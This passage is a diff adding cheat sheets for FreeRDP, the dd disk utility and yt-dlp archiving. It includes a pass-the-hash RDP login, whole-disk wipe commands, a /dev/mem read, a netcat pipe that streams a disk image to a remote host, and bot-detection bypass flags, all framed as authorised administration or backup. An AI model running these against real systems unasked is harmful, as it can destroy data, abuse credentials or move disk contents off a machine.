RDP=sdl-freerdp" +category: linux-it +tags: ["linux-it", "adcs"] +tools: [] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Linux/RDP CheatSheet.md" +--- +# macOS: native SDL client (recommended) +export RDP=sdl-freerdp + +# Linux examples: +# export RDP=xfreerdp3 +# export RDP=xfreerdp + +export TARGET='10.10.10.10' +export DOMAIN='DOMAIN' +export USER='username' +``` + +> [!tip]+ Secure baseline `ris:ShieldCheck` +> `ris:Command` +> 1. `/from-stdin:force` prompts before connecting, keeping the password out of shell history and process arguments. +> 2. `/cert:tofu` trusts a certificate on the first connection, then rejects an unexpected change. +> 3. `+dynamic-resolution` keeps the session usable when the client window is resized. + +```bash +"$RDP" /v:"$TARGET" /d:"$DOMAIN" /u:"$USER" \ + /from-stdin:force /cert:tofu +dynamic-resolution +``` + +--- + +## // CONNECTION_&_AUTHENTICATION `ris:LockPassword` + +### 1. Identity formats + +| Identity type | Example | +|---|---| +| Local account | `/u:Administrator` | +| Domain account | `/d:DOMAIN /u:username` | +| Down-level domain name | `/u:'DOMAIN\username'` | +| User principal name | `/u:'user@domain.example'` | + +```bash +# Local account +"$RDP" /v:"$TARGET" /u:Administrator /from-stdin:force /cert:tofu + +# Domain account +"$RDP" /v:"$TARGET" /d:"$DOMAIN" /u:"$USER" /from-stdin:force /cert:tofu + +# UPN +"$RDP" /v:"$TARGET" /u:'user@domain.example' /from-stdin:force /cert:tofu +``` + +> [!warning]+ Avoid inline passwords `fas:TriangleExclamation` +> `/p:<password>` is supported, but the password can end up in shell history, terminal scrollback, process listings, screenshots, and copied commands. Use `/from-stdin:force` unless a disposable authorised lab requires otherwise. + +### 2. Kerberos and smart-card authentication + +```bash +# Use an existing Kerberos ticket cache +kinit 'user@DOMAIN.EXAMPLE' +"$RDP" /v:"$TARGET" /u:'user@DOMAIN.EXAMPLE' \ + /sec:nla /kerberos:cache:"$KRB5CCNAME" /cert:tofu + +# Smart-card logon (the reader/card must be available locally) +"$RDP" /v:"$TARGET" /smartcard-logon /sec:nla /cert:tofu +``` + +> [!info]+ Authentication notes `ris:FileList` +> `ris:LockPassword` +> 1. `/sec:nla` explicitly requires Network Level Authentication and disables weaker alternatives. +> 2. Kerberos depends on DNS, realm configuration, and clock alignment; inspect the ticket with `klist` before troubleshooting RDP itself. +> 3. Smart-card logon activates the local reader; it is distinct from `/smartcard`, which redirects a smart card into an already authenticated remote session. + +### 3. Pass-the-hash — authorised lab/admin use only + +```bash +export NT_HASH='0123456789ABCDEF0123456789ABCDEF' +"$RDP" /v:"$TARGET" /u:Administrator /pth:"$NT_HASH" \ + +restricted-admin /cert:tofu +``` + +> [!danger]+ Credential material `fas:Skull` +> A hash is credential material. Use this only with explicit authority, do not save it in the note, and clear the variable with `unset NT_HASH` when finished. Restricted Admin mode must be permitted by the target policy. + +--- + +## // TRANSPORT_&_CERTIFICATE_SECURITY `ris:ShieldCheck` + +| Goal | Option | When to use it | +|---|---|---| +| Secure default | `/cert:tofu` | First connection to a known target; detects later certificate changes | +| Pin known certificate | `/cert:fingerprint:sha256:<hex>` | You have a verified SHA-256 fingerprint from a trusted channel | +| Fail on mismatch | `/cert:deny` | Strict environments that should never prompt | +| Require NLA | `/sec:nla` | Normal domain or local-account RDP | +| TLS without NLA | `/sec:tls` | Only when the target intentionally does not require NLA | +| Legacy RDP security | `/sec:rdp` | Legacy, authorised compatibility testing only | + +```bash +# Pin a certificate fingerprint received through a trusted channel +"$RDP" /v:"$TARGET" /u:"$USER" /from-stdin:force \ + /cert:fingerprint:sha256:<hex_fingerprint> + +# Require NLA and TLS 1.2 or newer where the target requires an explicit floor +"$RDP" /v:"$TARGET" /d:"$DOMAIN" /u:"$USER" /from-stdin:force \ + /sec:nla /tls:enforce:1.2 /cert:tofu +``` + +> [!danger]+ Never make this the default `fas:TriangleExclamation` +> `/cert:ignore` disables certificate validation and makes a rogue or intercepted server much harder to detect. Use it only in a disposable, explicitly authorised lab when certificate validation is the subject of the test. + +--- + +## // DISPLAY_&_PERFORMANCE `ris:Global` + +### 1. Display and window controls + +```bash +# Fullscreen; Ctrl+Alt+Enter toggles back to a window +"$RDP" /v:"$TARGET" /u:"$USER" /from-stdin:force /cert:tofu +f + +# Fixed initial size, then allow resize-driven updates +"$RDP" /v:"$TARGET" /u:"$USER" /from-stdin:force /cert:tofu \ + /size:1600x1000 +dynamic-resolution + +# Use 80% of display height or scale the rendered desktop +"$RDP" /v:"$TARGET" /u:"$USER" /from-stdin:force /cert:tofu /size:80%h +"$RDP" /v:"$TARGET" /u:"$USER" /from-stdin:force /cert:tofu /scale:140 + +# Multiple displays or selected display IDs (list IDs with /list:monitor) +"$RDP" /v:"$TARGET" /u:"$USER" /from-stdin:force /cert:tofu /multimon +"$RDP" /list:monitor +"$RDP" /v:"$TARGET" /u:"$USER" /from-stdin:force /cert:tofu /monitors:0,1 +``` + +### 2. Low-bandwidth profile + +```bash +"$RDP" /v:"$TARGET" /d:"$DOMAIN" /u:"$USER" /from-stdin:force \ + /cert:tofu /network:modem /compression-level:2 \ + -wallpaper -themes -menu-anims -fonts /gdi:sw +``` + +### 3. High-quality workstation profile + +```bash +"$RDP" /v:"$TARGET" /d:"$DOMAIN" /u:"$USER" /from-stdin:force \ + /cert:tofu +f +dynamic-resolution /gdi:hw \ + /gfx:progressive:on,AVC444:on /network:lan +``` + +> [!tip]+ Performance tuning `fas:Lightbulb` +> 1. Start with `/network:auto` or `/network:lan`; move toward `/network:modem` only when the connection is genuinely constrained. +> 2. Disable wallpaper, themes, animations, and smooth fonts before compromising authentication or certificate checks. +> 3. If hardware rendering misbehaves, use `/gdi:sw` as a compatibility fallback. + +--- + +## // LOCAL_RESOURCE_REDIRECTION `ris:ShareBox` + +### 1. Clipboard and drives + +```bash +# Disable clipboard redirection for sensitive sessions +"$RDP" /v:"$TARGET" /u:"$USER" /from-stdin:force /cert:tofu -clipboard + +# Redirect one selected directory as a named remote share +"$RDP" /v:"$TARGET" /u:"$USER" /from-stdin:force /cert:tofu \ + /drive:Share,"$PWD" + +# Redirect the home directory or every mounted filesystem +"$RDP" /v:"$TARGET" /u:"$USER" /from-stdin:force /cert:tofu +home-drive +"$RDP" /v:"$TARGET" /u:"$USER" /from-stdin:force /cert:tofu +drives + +# Permit hot-plugged removable drives +"$RDP" /v:"$TARGET" /u:"$USER" /from-stdin:force /cert:tofu /drive:hotplug,* +``` + +### 2. Audio, printers, smart cards, and USB + +```bash +# Audio output and microphone input +"$RDP" /v:"$TARGET" /u:"$USER" /from-stdin:force /cert:tofu /sound /microphone + +# Redirect a printer or smart card into the session +"$RDP" /v:"$TARGET" /u:"$USER" /from-stdin:force /cert:tofu /printer +"$RDP" /v:"$TARGET" /u:"$USER" /from-stdin:force /cert:tofu /smartcard + +# Redirect a USB device by vendor and product ID +"$RDP" /v:"$TARGET" /u:"$USER" /from-stdin:force /cert:tofu /usb:id:1234:5678 +``` + +> [!warning]+ Data-boundary check `fas:TriangleExclamation` +> Clipboard, drive, USB, printer, microphone, and smart-card redirection expand the trust boundary between your machine and the remote host. Enable only the one feature you need and disable it for untrusted or assessment targets. + +--- + +## // GATEWAYS_PROXY_&_REMOTEAPP `ris:GlobalLine` + +```bash +# RD Gateway; omit /p: values so FreeRDP prompts for required credentials +export GATEWAY='rdgateway.example.com' +export GW_USER='gateway-user' +"$RDP" /v:"$TARGET" /d:"$DOMAIN" /u:"$USER" /from-stdin:force \ + /gateway:g:"$GATEWAY",u:"$GW_USER",d:"$DOMAIN",usage-method:detect \ + /cert:tofu + +# HTTP or SOCKS5 proxy +"$RDP" /v:"$TARGET" /u:"$USER" /from-stdin:force /cert:tofu \ + /proxy:http://proxy.example.com:8080 +"$RDP" /v:"$TARGET" /u:"$USER" /from-stdin:force /cert:tofu \ + /proxy:socks5://127.0.0.1:1080 + +# A gateway also honours an HTTPS proxy set in the environment +export https_proxy='http://proxy.example.com:3128' +"$RDP" /v:"$TARGET" /u:"$USER" /from-stdin:force \ + /gateway:g:"$GATEWAY" /cert:tofu + +# RemoteApp example +"$RDP" /v:"$TARGET" /u:"$USER" /from-stdin:force /cert:tofu \ + /app:program:'||notepad',name:'Notepad' +``` + +> [!info]+ Gateway credentials `ris:LockPassword` +> A gateway can use credentials different from the target. Keep gateway passwords out of the command line too; FreeRDP prompts when the relevant `/p:` value is omitted. + +--- + +## // SESSION_CONTROL_&_TROUBLESHOOTING `ris:Command` + +| Symptom or task | Command / response | +|---|---| +| Confirm the installed version | `"$RDP" /version` | +| Inspect locally supported options | `"$RDP" /help` | +| Find available display IDs | `"$RDP" /list:monitor` | +| Test authentication without opening a desktop | Add `+auth-only` | +| Reconnect after a transient drop | Add `+auto-reconnect /auto-reconnect-max-retries:10` | +| Keep an authorised session awake | Add `/prevent-session-lock:300` | +| Release keyboard/mouse grab | Press `Right Ctrl` | +| Toggle fullscreen | Press `Ctrl+Alt+Enter` | +| Minimise the session | Press `Ctrl+Alt+M` | + +```bash +# Verify credentials and transport without starting the GUI desktop +"$RDP" /v:"$TARGET" /d:"$DOMAIN" /u:"$USER" /from-stdin:force \ + /cert:tofu +auth-only + +# Reconnect a flaky authorised session, up to ten times +"$RDP" /v:"$TARGET" /u:"$USER" /from-stdin:force /cert:tofu \ + +auto-reconnect /auto-reconnect-max-retries:10 +``` + +> [!failure]+ Common fixes `fas:CircleXmark` +> 1. **`$DISPLAY` error on macOS:** use `sdl-freerdp`, or install and start XQuartz before using `xfreerdp`. +> 2. **Certificate changed:** stop and verify the server identity through a trusted channel; do not switch to `/cert:ignore` just to connect. +> 3. **NLA / Kerberos failure:** verify DNS, target time, realm configuration, and the ticket cache with `klist`. +> 4. **Option rejected:** your package may differ from this reference; use `"$RDP" /help` and update the client. + +--- + +## // MACOS_INSTALL `fas:Apple` + +```bash +# Homebrew installs FreeRDP 3.30.0, including sdl-freerdp and xfreerdp +brew update +brew install freerdp + +# Only required when using the X11 client (xfreerdp) +brew install --cask xquartz +open -a XQuartz + +# Verify both available clients +sdl-freerdp /version +xfreerdp /version +``` + +> [!success]+ macOS client choice `ris:CheckboxCircle` +> Use `sdl-freerdp` by default on macOS. The Homebrew formula builds the SDL client, while its `xfreerdp` client requires a running X11 server and otherwise produces a `$DISPLAY` error. + +--- + +## // LESSONS_LEARNED `fas:Lightbulb` + +1. Set the client, target, domain, and user once; then every recipe remains copy-ready across macOS and Linux. +2. Prefer `/from-stdin:force` and `/cert:tofu`; a convenient command should not weaken credential or server authentication. +3. Treat clipboard, drive, device, audio, and smart-card redirection as deliberate data-sharing decisions. +4. Use `+auth-only` to separate authentication and certificate failures from GUI/display problems. +5. FreeRDP packages differ by platform; `"$RDP" /help` is the local source of truth. + +--- + +## // REFERENCES `fas:BookOpen` + +1. [FreeRDP project](https://www.freerdp.com/) +2. [FreeRDP 3.30.0 release](https://github.com/FreeRDP/FreeRDP/releases/tag/3.30.0) +3. [FreeRDP macOS installation guidance](https://github.com/FreeRDP/FreeRDP/wiki/Prebuilds) +4. [Homebrew `freerdp` formula](https://formulae.brew.sh/formula/freerdp) +5. [Homebrew formula source — enabled X11 and SDL clients](https://github.com/Homebrew/homebrew-core/blob/HEAD/Formula/f/freerdp.rb) + +#Cheatsheet #CommandReference #RDP #FreeRDP #RemoteAccess #Windows diff --git a/src/content/sheets/tools/dd-tool.md b/src/content/sheets/tools/dd-tool.md @@ -0,0 +1,646 @@ +--- +title: "dd tool" +description: "⚠️ Warning: dd can permanently destroy data if used incorrectly. Always double-check your commands, especially the if= (input) and of= (output) parameters." +category: tools +tags: ["tools", "adcs", "forensics"] +tools: [] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Tools/dd tool.md" +--- +# Linux `dd` Command: Complete Guide and Cheat Sheet + +## Reference Table + +| Topic | Description | Reference Type | +|:---|:---|:---| +| GNU Coreutils dd | Official documentation for dd utility | Official Documentation | +| Linux man pages | Complete dd manual page | Manual/Documentation | +| Disk cloning and imaging | Techniques for full disk backup and restoration | Tutorial/Guide | +| Bootable USB creation | Creating bootable media from ISO images | Practical Guide | +| Data recovery and forensics | Using dd for data recovery operations | Advanced Guide | +| Security and data wiping | Secure deletion and data sanitization | Security Guide | +| Performance optimization | Block size tuning and I/O optimization | Performance Guide | +| Network backups | Remote backup using SSH and compression | Network Administration | + +--- + +## Overview + +**dd** is a powerful low-level data copying and conversion utility in Linux, nicknamed both "**data duplicator**" and "**data destroyer**" (due to its potential for catastrophic data loss if used incorrectly). It performs bit-by-bit copies of files, devices, and partitions. + +⚠️ **Warning**: dd can permanently destroy data if used incorrectly. Always double-check your commands, especially the `if=` (input) and `of=` (output) parameters. + +--- + +## Basic Syntax + +```bash +dd if=[input] of=[output] [options] +``` + +**Note**: dd uses unique `option=value` syntax instead of standard `-option` or `--option` format. + +--- + +## Core Options Reference + +| Option | Description | Example | +|:---|:---|:---| +| `if=FILE` | Input file/device (source) | `if=/dev/sda` | +| `of=FILE` | Output file/device (destination) | `of=/dev/sdb` | +| `bs=SIZE` | Block size (read and write) | `bs=4M` | +| `ibs=SIZE` | Input block size | `ibs=512` | +| `obs=SIZE` | Output block size | `obs=4096` | +| `count=N` | Copy only N input blocks | `count=100` | +| `skip=N` | Skip N blocks at input start | `skip=10` | +| `seek=N` | Skip N blocks at output start | `seek=5` | +| `status=LEVEL` | Transfer information display | `status=progress` | +| `conv=CONV` | Conversion options (comma-separated) | `conv=noerror,sync` | +| `iflag=FLAGS` | Input flags (comma-separated) | `iflag=direct,fullblock` | +| `oflag=FLAGS` | Output flags (comma-separated) | `oflag=sync,direct` | + +--- + +## Block Size Guide + +| Block Size | Use Case | Performance | +|:---|:---|:---| +| `512` | Default (legacy compatibility) | Slow ⚠️ | +| `4K` (4096) | Standard sector size | Moderate | +| `64K` | Network transfers, older HDDs | Good | +| `1M` | General purpose, HDDs | Very Good ✓ | +| `4M` | SSDs, modern drives | Excellent ✓✓ | + +**Recommendations**: +* **SSDs**: Use `bs=4M` for optimal performance +* **HDDs**: Use `bs=1M` or `bs=64K` +* **Network transfers**: Use `bs=64K` for reliability +* **Always use** `conv=fsync` or `oflag=direct` with block sizes ≥ 4096 for proper error detection + +--- + +## Common Conversion Options (conv=) + +| Option | Description | +|:---|:---| +| `noerror` | Continue operation on read errors (essential for recovery) | +| `sync` | Pad input blocks with nulls to match block size | +| `fsync` | Physically write output data before finishing | +| `notrunc` | Do not truncate the output file | +| `sparse` | Try to seek rather than write null blocks (saves space) | +| `ucase` | Convert lowercase to uppercase | +| `lcase` | Convert uppercase to lowercase | +| `ascii` | Convert EBCDIC to ASCII | +| `ebcdic` | Convert ASCII to EBCDIC | +| `block` | Pad newline-terminated records with spaces | +| `unblock` | Replace trailing spaces with newline | + +**Most Important**: `conv=noerror,sync` for recovering data from failing drives + +--- + +## Input/Output Flags + +| iflag/oflag | Description | +|:---|:---| +| `direct` | Use direct I/O (bypass cache) | +| `sync` | Use synchronized I/O | +| `fullblock` | Accumulate full blocks of input (iflag only) | +| `append` | Append mode (oflag only) | +| `nonblock` | Use non-blocking I/O | +| `count_bytes` | Treat count as bytes, not blocks | +| `skip_bytes` | Treat skip as bytes, not blocks (iflag) | +| `seek_bytes` | Treat seek as bytes, not blocks (oflag) | + +--- + +## Status Display Options + +| Status Level | Description | +|:---|:---| +| `none` | No output at all | +| `noxfer` | Suppress final transfer statistics | +| `progress` | Show periodic transfer statistics (recommended ✓) | + +**Example**: `status=progress` shows real-time progress like: +``` +524288000 bytes (524 MB, 500 MiB) copied, 10 s, 52.4 MB/s +``` + +--- + +## Common Use Cases with Examples + +### 1. Full Disk Cloning + +Clone entire disk (including all partitions and boot sectors): + +```bash +# Identify source and destination +lsblk + +# Unmount all partitions on destination +sudo umount /dev/sdb* + +# Clone disk +sudo dd if=/dev/sda of=/dev/sdb bs=4M status=progress conv=fsync + +# Flush cache +sync +``` + +**Verification**: +```bash +# Hash both disks and compare +sudo md5sum /dev/sda +sudo md5sum /dev/sdb +``` + +--- + +### 2. Create Bootable USB from ISO + +```bash +# Verify ISO integrity first +sha256sum ubuntu-22.04.iso + +# Identify USB device (NOT partition!) +lsblk + +# Unmount USB +sudo umount /dev/sdb* + +# Write ISO to USB (use device /dev/sdb, NOT /dev/sdb1) +sudo dd if=ubuntu-22.04.iso of=/dev/sdb bs=4M status=progress oflag=sync + +# Verify USB +sudo file -s /dev/sdb +``` + +**Important Notes**: +* Write to the device (`/dev/sdb`), NOT to a partition (`/dev/sdb1`) +* No need to format USB beforehand—dd overwrites everything +* To reuse USB after: `sudo fdisk /dev/sdb` then `sudo mkfs.vfat /dev/sdb1` + +--- + +### 3. Create Disk Image (Backup) + +```bash +# Backup entire disk to image file +sudo dd if=/dev/sda of=~/backup_disk.img bs=4M status=progress + +# Backup single partition +sudo dd if=/dev/sda1 of=~/backup_partition.img bs=4M status=progress + +# Compressed backup (saves space) +sudo dd if=/dev/sda bs=4M status=progress | gzip > backup_disk.img.gz + +# Backup with progress using pv +sudo dd if=/dev/sda bs=4M | pv | gzip > backup_disk.img.gz +``` + +--- + +### 4. Restore from Disk Image + +```bash +# Restore from image +sudo dd if=backup_disk.img of=/dev/sda bs=4M status=progress + +# Restore from compressed backup +gunzip -dc backup_disk.img.gz | sudo dd of=/dev/sda bs=4M status=progress + +# Alternative decompression +zcat backup_disk.img.gz | sudo dd of=/dev/sda bs=4M status=progress +``` + +--- + +### 5. MBR (Master Boot Record) Backup/Restore + +```bash +# Backup entire MBR (512 bytes: boot code + partition table) +sudo dd if=/dev/sda of=mbr_backup.img bs=512 count=1 + +# Backup only boot code (446 bytes, excluding partition table) +sudo dd if=/dev/sda of=mbr_boot.img bs=446 count=1 + +# Restore MBR +sudo dd if=mbr_backup.img of=/dev/sda bs=512 count=1 +``` + +--- + +### 6. GPT Partition Table Backup/Restore + +For GPT disks, use `sgdisk` (not dd): + +```bash +# Backup GPT +sudo sgdisk --backup=/path/to/backup.gpt /dev/sda + +# Restore GPT +sudo sgdisk --load-backup=backup.gpt /dev/sda +``` + +--- + +### 7. Secure Data Wiping + +**Method 1: Fill with zeros (fastest)** +```bash +sudo dd if=/dev/zero of=/dev/sda bs=4M status=progress +``` + +**Method 2: Fill with random data (more secure)** +```bash +sudo dd if=/dev/urandom of=/dev/sda bs=4M status=progress +``` + +**Method 3: Using shred (multiple passes)** +```bash +sudo shred -vfz -n 3 /dev/sda +``` + +**Wipe specific partition**: +```bash +sudo dd if=/dev/zero of=/dev/sda1 bs=4M status=progress +``` + +--- + +### 8. Create Fixed-Size File + +```bash +# Create 100MB file filled with zeros +dd if=/dev/zero of=testfile.dat bs=1M count=100 + +# Create 1GB file +dd if=/dev/zero of=largefile.dat bs=1M count=1024 + +# Create sparse file (faster, uses less disk space) +dd if=/dev/zero of=sparse.dat bs=1M count=1024 conv=sparse +``` + +--- + +### 9. Data Recovery from Failing Drive + +```bash +# Use conv=noerror,sync to skip bad sectors +sudo dd if=/dev/sda of=recovery.img bs=4M conv=noerror,sync status=progress + +# Better: Use ddrescue for recovery (not standard dd) +sudo ddrescue /dev/sda recovery.img recovery.log +``` + +**Why `conv=noerror,sync`?** +* `noerror`: Don't stop on read errors +* `sync`: Pad failed blocks with zeros to maintain alignment + +**Note**: For serious data recovery, use `ddrescue` instead—it's specifically designed for this purpose with features like: +* Log file to track progress +* Resume capability +* Multiple retry attempts with varying block sizes + +--- + +### 10. Network Backup via SSH + +**Remote backup (local to remote)**: +```bash +# Basic remote backup +sudo dd if=/dev/sda bs=4M | ssh user@remote 'dd of=backup.img' + +# With compression (faster transfer) +sudo dd if=/dev/sda bs=4M | gzip | ssh user@remote 'gunzip | dd of=backup.img' + +# With progress monitoring +sudo dd if=/dev/sda bs=4M | pv | gzip | ssh user@remote 'gunzip | dd of=backup.img' +``` + +**Remote restore (remote to local)**: +```bash +ssh user@remote 'dd if=backup.img' | sudo dd of=/dev/sda bs=4M status=progress +``` + +--- + +### 11. Copy Partial Data + +**Skip first 100 blocks, copy 50 blocks**: +```bash +dd if=input.dat of=output.dat bs=1M skip=100 count=50 +``` + +**Write at specific offset (seek)**: +```bash +dd if=data.bin of=output.dat bs=1M seek=10 conv=notrunc +``` + +**Byte-level precision**: +```bash +dd if=input.dat of=output.dat bs=1 skip=1024 count=512 iflag=skip_bytes,count_bytes +``` + +--- + +### 12. Benchmarking Disk Performance + +**Write performance**: +```bash +dd if=/dev/zero of=testfile bs=1M count=1024 oflag=direct +``` + +**Read performance**: +```bash +dd if=testfile of=/dev/null bs=1M count=1024 iflag=direct +``` + +**Test different block sizes**: +```bash +for bs in 512 4K 64K 1M 4M; do + echo "Block size: $bs" + dd if=/dev/zero of=testfile bs=$bs count=10000 oflag=direct 2>&1 | grep copied +done +``` + +--- + +## Progress Monitoring Techniques + +### 1. Built-in Progress (Recommended) + +```bash +dd if=/dev/sda of=/dev/sdb bs=4M status=progress +``` + +### 2. Send Signal to Running dd + +Find the dd process ID: +```bash +ps aux | grep dd +``` + +Send USR1 signal to show progress: +```bash +kill -USR1 [dd_pid] +``` + +Or use `watch`: +```bash +watch -n 5 'kill -USR1 [dd_pid]' +``` + +### 3. Using pv (Pipe Viewer) + +Install pv first: `sudo apt install pv` or `sudo yum install pv` + +```bash +# With size known +dd if=/dev/sda bs=4M | pv -s 500G | dd of=/dev/sdb bs=4M + +# Without knowing size +dd if=/dev/sda bs=4M | pv | dd of=/dev/sdb bs=4M +``` + +### 4. Using dcfldd (Enhanced dd) + +`dcfldd` is an enhanced version with built-in progress and hashing: + +```bash +dcfldd if=/dev/sda of=/dev/sdb bs=4M hash=md5,sha256 hashwindow=1G +``` + +--- + +## Verification Methods + +### Before and After Checksums + +```bash +# Before operation +sudo md5sum /dev/sda > checksum_before.txt +# or +sudo sha256sum /dev/sda > checksum_before.txt + +# After operation +sudo md5sum /dev/sdb > checksum_after.txt + +# Compare +diff checksum_before.txt checksum_after.txt +``` + +### Verify ISO Integrity + +```bash +# Check ISO before creating bootable USB +sha256sum ubuntu-22.04.iso + +# Compare with official checksum from download page +``` + +### Verify Bootable USB + +```bash +sudo file -s /dev/sdb +``` + +Expected output: Should show filesystem or ISO 9660 information + +--- + +## Safety Checklist ⚠️ + +Before running dd, **ALWAYS**: + +1. ✓ **Identify devices correctly**: + ```bash + lsblk + sudo fdisk -l + ``` + +2. ✓ **Unmount target device**: + ```bash + sudo umount /dev/sdb* + ``` + +3. ✓ **Double-check if= (source) and of= (destination)** + * `if=` is what you're copying FROM (source) + * `of=` is what you're copying TO (destination) + * Reversing these will destroy your data! + +4. ✓ **Verify you have correct device names**: + * `/dev/sda` vs `/dev/sdb` confusion is common + * `/dev/sdb` (device) vs `/dev/sdb1` (partition) + +5. ✓ **Ensure sufficient space on destination** + +6. ✓ **Run with sudo/root permissions** (most operations require it) + +7. ✓ **Use `status=progress`** to monitor operation + +8. ✓ **Run `sync` after dd** to flush cached writes: + ```bash + sync + ``` + +9. ✓ **Verify with checksums** after critical operations + +10. ✓ **Have backups** before overwriting any device + +--- + +## Common Errors and Troubleshooting + +| Error | Cause | Solution | +|:---|:---|:---| +| `Permission denied` | Insufficient privileges | Use `sudo` | +| `Device or resource busy` | Device is mounted | `sudo umount /dev/sdX*` | +| `No space left on device` | Destination too small | Use larger destination or compress | +| `Input/output error` | Failing drive or bad sectors | Use `conv=noerror,sync` or `ddrescue` | +| `dd: invalid number` | Wrong syntax for size | Use correct format: `1M`, `4K`, `512` | + +### Check for Errors + +```bash +# View kernel-level errors +dmesg | grep -i error + +# Check SMART data on drives +sudo smartctl -a /dev/sda +``` + +--- + +## Performance Optimization Tips + +1. **Use appropriate block size**: + * SSDs: `bs=4M` + * HDDs: `bs=1M` or `bs=64K` + * Network: `bs=64K` + +2. **Use direct I/O for benchmarking**: + ```bash + oflag=direct iflag=direct + ``` + +3. **Ensure physical writes with**: + ```bash + conv=fsync + # or + oflag=sync + ``` + +4. **Minimize system load**: + * Close unnecessary applications + * Avoid running multiple disk operations simultaneously + +5. **Use compression for network transfers**: + ```bash + dd if=/dev/sda bs=4M | gzip | ssh user@remote 'gunzip > backup.img' + ``` + +6. **Consider hardware factors**: + * Check cables and ports (intermittent errors) + * USB 2.0 vs 3.0 speed differences + * SATA II vs III capabilities + +--- + +## Advanced Features + +### Create Sparse Files + +```bash +dd if=/dev/zero of=sparse.dat bs=1M count=1024 conv=sparse +``` + +### Append to Existing File + +```bash +dd if=new_data.bin of=existing_file.dat bs=1M oflag=append conv=notrunc +``` + +### Read Special System Files + +```bash +# Read first 1KB of RAM (requires root) +sudo dd if=/dev/mem of=mem_sample.bin bs=1K count=1 + +# Note: Modern systems may restrict /dev/mem access for security +``` + +### Network Transfer with Netcat + +**Sender (server)**: +```bash +nc -l 9999 | dd of=/dev/sdb bs=4M +``` + +**Receiver (client)**: +```bash +dd if=/dev/sda bs=4M | nc server_ip 9999 +``` + +--- + +## Alternative Tools + +| Tool | Purpose | When to Use | +|:---|:---|:---| +| `ddrescue` | Data recovery | Failing drives, bad sectors | +| `dcfldd` | Enhanced dd | Need built-in hashing, better progress | +| `partclone` | Partition cloning | Only copy used blocks, faster backups | +| `rsync` | File synchronization | File-level backups, incremental updates | +| `clonezilla` | Disk imaging GUI | User-friendly disk cloning | +| `shred` | Secure deletion | Multi-pass overwriting for security | + +--- + +## Quick Reference Card + +### Most Common Commands + +```bash +# Full disk clone with progress +sudo dd if=/dev/sda of=/dev/sdb bs=4M status=progress conv=fsync + +# Create bootable USB from ISO +sudo dd if=linux.iso of=/dev/sdb bs=4M status=progress oflag=sync + +# Backup disk to compressed image +sudo dd if=/dev/sda bs=4M status=progress | gzip > backup.img.gz + +# Restore from compressed image +gunzip -dc backup.img.gz | sudo dd of=/dev/sda bs=4M status=progress + +# Backup MBR +sudo dd if=/dev/sda of=mbr_backup.img bs=512 count=1 + +# Secure wipe +sudo dd if=/dev/zero of=/dev/sda bs=4M status=progress + +# Check device list +lsblk +sudo fdisk -l +``` + +--- + +## Final Notes + +* **dd** is an extremely powerful tool—respect its capabilities +* **Always double-check** your commands before pressing Enter +* **Test on non-critical data** first if you're learning +* **Keep backups** of important data before any dd operation +* **Use `status=progress`** to avoid blind operations +* **Verify operations** with checksums when possible +* Consider **alternatives** like `ddrescue` for data recovery scenarios +* **dd** stands for "data duplicator" (or "disk dump"), not "destroy disk"—but it can do both! + +--- + +*This guide covers dd usage as of GNU Coreutils 8.x and later. Older versions may lack some features like `status=progress`. Check your version with: `dd --version`* diff --git a/src/content/sheets/tools/internet-archival-guide.md b/src/content/sheets/tools/internet-archival-guide.md @@ -0,0 +1,608 @@ +--- +title: "Internet Archival Guide" +description: "sudo curl -L https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp -o /usr/local/bin/yt-dlp sudo chmod a+rx /usr/local/bin/yt-dlp" +category: tools +tags: ["tools", "adcs"] +tools: [] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Tools/Internet-Archival-Guide/Internet Archival Guide.md" +--- +# Linux +sudo curl -L https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp -o /usr/local/bin/yt-dlp +sudo chmod a+rx /usr/local/bin/yt-dlp + +# Mac +brew install yt-dlp + +# Keep updated (run regularly) +yt-dlp -U +``` + +> [!important]+ ffmpeg is required +> `fas:TriangleExclamation` +> yt-dlp uses ffmpeg to merge video and audio streams. Install from [ffmpeg.org](https://ffmpeg.org/download.html). On Windows, place `ffmpeg.exe` in the **same folder** as `yt-dlp.exe`. + +**Core yt-dlp commands:** + +```bash +# Download best quality (auto format selection) +yt-dlp https://www.youtube.com/watch?v=VIDEOID + +# List all available formats first +yt-dlp -F https://www.youtube.com/watch?v=VIDEOID + +# Download best MP4 with merged audio+video (most compatible) +yt-dlp -f "bestvideo[ext=mp4]+bestaudio[ext=m4a]/best[ext=mp4]/best" https://www.youtube.com/watch?v=VIDEOID + +# Download with metadata, thumbnail, and subtitles +yt-dlp --write-description --write-info-json --write-thumbnail --write-subs https://www.youtube.com/watch?v=VIDEOID + +# Download audio only as MP3 +yt-dlp -x --audio-format mp3 https://www.youtube.com/watch?v=VIDEOID + +# Download entire channel (skip already-downloaded, continue on errors) +yt-dlp --ignore-errors --continue https://www.youtube.com/c/CHANNELNAME + +# Download entire channel with full metadata + organised output +yt-dlp --ignore-errors --continue \ + --write-description --write-info-json \ + --write-thumbnail --write-subs \ + --output "%(uploader)s/%(upload_date)s-%(title)s.%(ext)s" \ + https://www.youtube.com/c/CHANNELNAME + +# Download autogenerated subtitles (great for text-searching streams) +yt-dlp --write-auto-subs --sub-format vtt https://www.youtube.com/watch?v=VIDEOID + +# Download a specific time segment only +yt-dlp --download-sections "*01:30-05:45" https://www.youtube.com/watch?v=VIDEOID + +# Download a live stream as it happens +yt-dlp --live-from-start https://www.youtube.com/watch?v=LIVEID +``` + +> [!tip]+ Bot Detection Bypass Methods +> `fas:Lightbulb` +> When YouTube shows "Sign in to confirm you're not a bot": +> ```bash +> # Method 1: Use cookies from your logged-in browser +> yt-dlp --cookies-from-browser firefox https://www.youtube.com/watch?v=VIDEOID +> +> # Method 2: Spoof the Android client +> yt-dlp --extractor-args "youtube:player_client=android" https://www.youtube.com/watch?v=VIDEOID +> +> # Method 3: Combine both (most reliable) +> yt-dlp --cookies-from-browser firefox --extractor-args "youtube:player_client=android,web" https://www.youtube.com/watch?v=VIDEOID +> ``` + +**Other platform downloads:** + +```bash +# Twitter/X videos +yt-dlp https://x.com/user/status/TWEETID + +# Twitch VOD +yt-dlp https://www.twitch.tv/videos/VODID + +# Twitch clip +yt-dlp https://clips.twitch.tv/CLIPNAME + +# TikTok individual video +yt-dlp https://www.tiktok.com/@user/video/VIDEOID + +# Instagram post (requires cookies) +yt-dlp 